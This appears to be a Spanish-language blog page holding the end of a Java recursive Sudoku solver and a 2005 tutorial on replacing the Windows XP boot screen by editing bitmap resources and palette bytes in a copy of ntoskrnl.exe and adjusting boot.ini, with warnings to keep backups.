                tablero[fil][col] = 0;

        // Colocación de las celdas fijas, a rellenar por el interesado
        tablero[1][1] = 1;
        tablero[2][2] = 3;
        tablero[4][2] = 2;
        tablero[6][2] = 7;
        tablero[7][1] = 2;
        tablero[7][2] = 9;
        tablero[7][3] = 5;
        tablero[8][3] = 4;

        tablero[2][4] = 8;
        tablero[1][5] = 6;
        tablero[2][5] = 7;
        tablero[3][5] = 3;
        tablero[2][6] = 9;
        tablero[4][4] = 9;
        tablero[5][4] = 3;
        tablero[6][4] = 6;
        tablero[5][5] = 4;
        tablero[5][6] = 8;

        tablero[1][7] = 8;
        tablero[3][7] = 9;
        tablero[5][7] = 7;
        tablero[4][8] = 8;
        tablero[9][7] = 5;
        tablero[9][8] = 1;
        tablero[8][9] = 2;
        tablero[9][9] = 4;

        pintaTablero();

        resuelve(1,1);

        pintaTablero();

        System.out.println(“Resuelto en “+pasadas+” pasadas”);
    }

    public static void pintaTablero()
    {
        for (int col=1; col&lt;10; col++)
        {
            if ((col-1)%3==0)
                System.out.println(“======================================”);
            else
                System.out.println(“————————————–”);

            for (int fil=1; fil&lt;10 ; fil++)
            {
                if ((fil-1)%3==0)
                    System.out.print(” H “);
                else
                    System.out.print(” | “);
                System.out.print(tablero[fil][col]);
            }
            System.out.print(” | “);
            System.out.println();
        }
        System.out.println(“*********************************”);
    }

    private static boolean resuelve(int fil, int col)
    {
        boolean resuelto = false,celdafija=false;
        int num = 1;

        pasadas++;
        if (tablero[fil][col] !=0)
        {
            celdafija = true;
            num=9;
        }
        while (!resuelto && num&lt;10)
        {
            // Si la celda no es fija
            if (!celdafija)
                tablero[fil][col] = num;
            if (celdaValida(fil,col))
            {
                if (fil==9 && col==9)
                    resuelto = true;
                else if (fil&lt;9)
                    resuelto = resuelve(fil+1, col);
                else if(fil==9)
                    resuelto = resuelve(1, col+1);
            }
            num++;
        }
        if (!resuelto && !celdafija)
            tablero[fil][col] = 0;

        return resuelto;
    }

    private static boolean celdaValida(int fil, int col)
    {
        // El numero no puede estar repetido en ninguna celda de la misma columna
        for (int i=1; i&lt;10; i++)
            if (fil!=i && tablero[fil][col] == tablero[i][col] )
                return false;
        // El numero no puede estar repetido en ninguna celda de la misma fila
        for (int i=1; i&lt;10; i++)
            if (col!=i && tablero[fil][col] == tablero[fil][i] )
                return false;
        // El numero no puede estar repetido en ninguna celda de la misma celda de 3×3
        int superceldacol = (int)(Math.floor((col-1)/3)*3)+1,
            superceldafil = (int)(Math.floor((fil-1)/3)*3)+1;
        for (int i=superceldacol; i&lt;superceldacol +3; i++)
            for (int j=superceldafil; j&lt;superceldafil+3; j++)
                if (col!=i && fil!=j && tablero[fil][col] == tablero[j][i] )
                    return false;

        return true;
    }
}

24 comments Octubre 19th, 2005

Cambiar bootscreen en XP

Para el proyecto de la Mame Cabinet he decidido que no quiero que se vea que se está cargando un windows cuando se inicia la máquina, por eso tengo que ocultar la “boot screen” de windows y me he estado documentando acerca del tema.

Ya se que hay software que lo hace de forma automática, pero a mi no me ha funcionado demasiado bien y por otra parte quería comprender que es lo que hay que hacer exactamente para cambiar la imagen que aparece cuando se está iniciando Windows.

En principio la pantalla que aparece con el logotipo de Windows cuando este comienza a cargarse, es un recurso contenido en un ejecutable que conforma el nucleo de este sistema operativo. Dicho fichero es el ntoskrnl.exe y se encuentra en el directorio windows/system32.
En este ejecutable están varios de los bmps que contienen la imagen y la animación que indica el estado de carga. Son todos bitmaps de 16 colores con una misma paleta indexada.
Para poder visualizar, extraer o modificar directamente estos recursos necesitamos un programa como Resource Hacker que nos permite abrir cualquier ejecutable de windows, explorar sus recursos (imagenes, textos, formularios, etc…) y manipularlos a nuestro antojo.
Al abrir ntoskrnl.exe encontramos unos cuantos bitmaps entre los recursos. Los que nos interesan son el 1 y el 7 o el 8 dependiendo de la version de XP que tengamos. El 1 es el boot screen y el 7 y el 8 son la barra animada que indica que el SO se está cargando.
Al abrir el 1 veremos un bitmap de 640×480 todo negro. No hay que preocuparse, todo tiene su explicación.
Por alguna razón desconocida, a partir de Windows XP, la paleta viene hardcodeada en el propio ejecutable separada del bitmap, supongo que para entorpecer la labor de cambiar el bootscreen :) .


Resource Hacker 1

En anteriores versiones, como windows 2000 o NT la informacion de la paleta se recogía del propio recurso, pero ahora ya no es así. Por eso antes era más fácil y mas seguro cambiarlo que ahora.

Lo que hacemos es reemplazar esos bitmaps por los bitmaps que tengamos preparados personales. Recordad 640×480 16 colores.


Resource Hacker 2

La paleta es por tanto la parte mas dificil de cambiar. Como he dicho la paleta está codificada directamente en el ejecutable, y como existen varias versiones de ntoskrnl.exe dependiendo de la versión del XP y el service pack de nuestro windows, lo que tenemos que hacer es buscar donde se encuentra esa paleta codificada exactamente dentro del ejecutable.
Para ello solo tenemos que lanzar un editor hexadecimal; vale con el ultraedit que también abre y edita ficheros binarios.
Ahora tenemos que buscar dos o tres colores de la paleta del bitmap original del boot screen que no sean ni el negro ni el blanco. Con suerte solo necesitareis un par de ellos.
Por ejemplo el color con índice 3 de el bitmap original es “#2D3ED2″ y con indice 4 es “#536501″.

Ahora buscamos en el hexadecimal el primer valor “2D3ED2″, lo mas seguro es que no encontreis nada, eso es por que los words en bigendian que usa intel van al revés, es decir en realidad tenemos que buscar un word (4 bytes) que sería “00D23E2D”. Ahora si que encontramos algo, en mi caso en el offset 74F93. Para estar seguros de que esta es la paleta miramos si a continuación está el siguiente color “536501″ que pasado a bigendian sería “00016553″. Eureka!!! Podemos hacer mas comprobaciones si queremos estar seguros. La cadena completa de la paleta puede variar de una version a otra, ya que pueden cambiar los colores, pero en mi caso es esta:

00 00 00 00 00 15 1A 20 00 46 46 46 00 D2 3E 2D 00 01 65 53 00 05 35 B2 00 7E 7E 7E 00 00 92 89 00 FC 7F 5E 00 20 6B F7 00 FF A6 8D 00 04 DC 8E 00 1B BC F3 00 BC BC BC 00 FC FC FC 00 FF FF FF

y asi es como se ve en mi editor
Hex dump palette

Si buscas esta cadena completa no tendrás pérdida.

Ahora solo hay que cambiar los colores que están ahí por los de la paleta de nuestra imagen, en el mismo orden, en hexadecimal y teniendo en cuenta el swapeado de bytes y que hay que hacer un padding con “00″ por cada triplete RGB de colores. Es decir, si tengo el color R:191 G:214 B:13 (color corporativo de Zinkia), primero lo paso a hexa R:BF G:D6 B:0D, oséa “#BFD60D”, que para ir en en ntoskrnl.exe debe ser 00 0D D6 BF.
Eso es todo. Es un poco arduo, pero nada mas.

Un apunte adicional; no se por que razón el 2º color de la paleta, que yo estaba usando de fondo, me lo cambia por negro, claro que también pudo haber sido que me lo guardase photoshop como color de transparencia… hacer pruebas es tan laborioso que no me he parado a investigar mas.

Recordad que estamos haciendo modificaciones sobre UNA COPIA de ntoskrnl.exe, a la que habremos llamado por ejemplo modntoskrnl.exe.
Antes teníamos la opción de tener varios arranques de XP o de Win2000 que cargaban diferentes kernels. De este modo podiamos modificar el logotipo en uno de los arranques creando una copia de ntoskrnl.exe sobre la que trabajabamos y tener el otro por si algo salía mal. Para ello había que editar el boot.ini que esta oculto en el raiz del disco de arranque y añadirle el una linea con el parámetro /kernel=modntoskrnl.exe . Algo así:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=”Boot Screen modificada” /noexecute=optin /fastdetect /kernel=modntoskrnl.exe
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=”Microsoft Windows XP Professional” /noexecute=optin /fastdetect

El SP2 para windows XP ha cambiado esto y ya no se puede indicar un kernel alternativo en la línea del boot.ini con el parametro /kernel. El SP2 directamente ha hecho que esta opcion se ignore (al menos el mio :) , por lo que hay que trabajar sobre una copia de ntoskrnl.exe y una vez la tengamos modificada, tendremos que arrancar con el simbolo de sistema y copiar nuestro nuevo y editado modntoskrnl.exe sobre el ntoskrnl.exe original.
La próxima vez que iniciemos windows nuestro boot screen sera único y particular, pero si hemos cometido algun error al editar la paleta… glups… windows ni siquiera arrancará.

Como veis esto que cuento puede provocar que nuestro amado windows no vuelva a arrancar mas. Si te sucede algo así mas te vale que tuvieses preparado un disco de arranque con soporte para NTFS y los correspondientes backups de ntoskrnl.exe y boot.ini originales, porque si no estarás perdido, pero de todos modos es mi deber advertir que:


No me hago responsable de cualquier cosa que le ocurra a tu equipo informático como consecuencia de aplicar estos procedimientos. Si lo haces es bajo tu propia responsabilidad y riesgo.

Ale, a disfrutar

77 comments Octubre 10th, 2005

Next Posts Previous Posts

 Guias

 Comentarios

 

 Categorías